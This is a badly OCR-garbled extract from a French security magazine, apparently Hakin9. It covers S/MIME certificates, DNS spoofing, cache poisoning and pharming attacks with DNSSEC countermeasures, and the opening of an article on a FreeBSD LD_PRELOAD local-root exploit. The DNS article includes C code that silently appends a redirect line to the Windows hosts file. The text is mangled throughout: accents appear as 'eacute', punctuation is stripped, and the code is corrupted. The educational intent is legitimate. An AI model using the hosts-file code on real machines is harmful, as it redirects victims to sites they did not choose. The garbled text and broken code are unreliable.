Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

Franccedilais reconnu par leacutetatbull httpwwwgpg4winorg ndash Site web du projet GPG4Winbull httpwwwlinuxcertifcomman1gpg ndash Manuel de GPG

en Franccedilaisbull httpfrwikipediaorgwikiPublic_Key_Cryptographic_

Standards ndash Diff eacuterents formats PKCSbull httpwwwtelecomgouvfrrubriques-menuentreprises-

economie-numeriquecertifi cats-references-pris-v1catego-ries-familles-certifi cats-references-pris-v-1-506html ndash Au-toriteacutes de certifi cation agreacutees par leacutetat Franccedilais

hakin9orgfr 39

effet la creacuteation des cleacutes eacutetabli un lien entre ladresse mail la cleacute et les autres cleacutes mais nullement avec la personne physique

En ce qui concerne SMIME cest un peu plus com-pliqueacute car les certificats repreacutesentent lactiviteacute com-merciale des autoriteacutes de certification cest donc un service de confiance quelles offrent De plus selon la loi du 13 Mars 2000 la signature eacutelectronique agrave la mecircme valeur quune signature manuscrite Ce-pendant tout deacutepend du certificat qui produit cette signature En pratique seul les classes 3+ sont re-connus par leacutetat et que ceux signeacutes par des autoriteacutes agreacutees(voir lien)

De plus des certificats reconnus par leacutetat commen-cent tregraves largement agrave se reacutepandre (teacuteleacute-deacuteclaration dimpocircts teacuteleacute-carte grise) Chaque certificat authentifie donc le proprieacutetaire dans le cadre de la proceacutedure pour laquelle il a eacuteteacute deacutelivreacute Il nest ainsi pas permis de si-gner des mails personnels avec ce type de certificat

conclusion PGP ou SMiMeLes mails que lon envoie sont donc proteacutegeacutes des regards indiscrets et sont de plus identifieacutes pour le destinataire eacutevitant ainsi le piegravege du mail spoofing En terme dapplication de maniegravere plus geacuteneacuterale si des socieacuteteacute comme Ebay et Paypal signaient numeacuteri-quement leurs mails le phishing ne ferait pas autant de deacutegats Le fait est que les certificats serveurs sont bien mieux connus et impleacutementeacutes Pour revenir agrave PGP et SMIME et dun point de vu strictement per-sonnel entre personnes initieacutees il est largement preacute-feacuterable dutiliser PGP pour des raisons de modulari-teacutes A linverse dans des situations plus officielles il est preacutefeacuterable dutiliser SMIME dautant quil est plus facile daccegraves plus rapide agrave mettre en place et ne neacute-cessite tregraves peu dadministration Sauf lorsquil faut le renouveler car les certificats nexcegravede rarement 3 ans en dureacutee de validiteacute Bien entendu dans le cas de teacuteleacuteTVA et autres il est neacutecessaire dutiliser le cer-tificat adapteacute et uniquement pour la tacircche qui lui est destineacutee

Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

